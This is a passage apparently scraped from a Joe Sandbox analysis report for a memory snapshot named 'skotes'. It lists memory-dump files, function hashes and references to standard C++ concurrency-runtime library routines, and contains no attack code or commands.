Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: c230a8a4309ee656a18514dab41152ce4ec19abfac539c07c39133ad35a9d896
Instruction ID: 39147e694de2f790403cd6bff1fad0980df8ce318b3a3e2617321b7fd081c833
Opcode Fuzzy Hash: c230a8a4309ee656a18514dab41152ce4ec19abfac539c07c39133ad35a9d896
Instruction Fuzzy Hash: 57B09232A238344BCA612B14BC5869DBB98DA80B1130A01A6D801AB2248E105E824BD8

Function 00B9DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f36063ba5801b1e121eaf478006841f0c63d737719a0c5b715c03d931bc47f5a
Instruction ID: fdc9a86d9dd36ead3afc0fe22f63c069ab21e0bf2eb82d2179a4a76b99a07d6c
Opcode Fuzzy Hash: f36063ba5801b1e121eaf478006841f0c63d737719a0c5b715c03d931bc47f5a
Instruction Fuzzy Hash: 48518AB2E016068BDF25CF5AD8C57AAB7F1FB58304F2485BAD405EB291D774A940CB90

Function 00B9F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9F2BB

Strings

pEvents, xrefs: 00B9F2B3

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: b0f02195fdc8e3eead7a84d97cb4bf079c72af510f44c2c51211b5970da22420
Instruction ID: c78270412d1b1cdb8f1353428975fcdb654427fb5301644440123b16ad4c7411
Opcode Fuzzy Hash: b0f02195fdc8e3eead7a84d97cb4bf079c72af510f44c2c51211b5970da22420
Instruction Fuzzy Hash: 9A814931D0021A9BCF25DFA8C981BBEB7F5EF15324F2444B9E411E7282DB74E945CA91

Function 00BB26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BB26E3

Part of subcall function 00BB24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BB2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BB2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BB275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00BB27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00BB27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00BB2846

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 40e42fdf5f9fdc49bbf691a90ceda1776e6f698aa07535de468b5ddf1e9fef05
Instruction ID: df17eecb2aceb5dcd46e47727cdbe9c3da19854ec56b68ccf3af90211714650e
Opcode Fuzzy Hash: 40e42fdf5f9fdc49bbf691a90ceda1776e6f698aa07535de468b5ddf1e9fef05
Instruction Fuzzy Hash: 44818C34904249ABDF169F54C991BFE7BF2EF56304F0400E8EC816B262CBB68D15DB62

Function 00BB2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BB2982

Part of subcall function 00BB24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BB2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BB29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BB29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BB29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00BB2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00BB2AD8

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 6afe8b522a8ca7e0552c452e1f10746722b9c51c778e15e2c67f6c9f7fe8fd72
Instruction ID: 3289512180d25eb53fe36d85d580c9d3a05af906004e79e1db3228626e1d05a2
Opcode Fuzzy Hash: 6afe8b522a8ca7e0552c452e1f10746722b9c51c778e15e2c67f6c9f7fe8fd72
Instruction Fuzzy Hash: DF715830900249ABDF259F94C991AFEBBF6EF55304F0440D8EC416B262CBB69D16DB61

Function 00BA2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00BA2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BA28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BA2913

Part of subcall function 00BA07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00BA080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00BA2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BA29DB

Part of subcall function 00BA07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BA07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BA29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BA2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00BA2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00BA2A7E

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

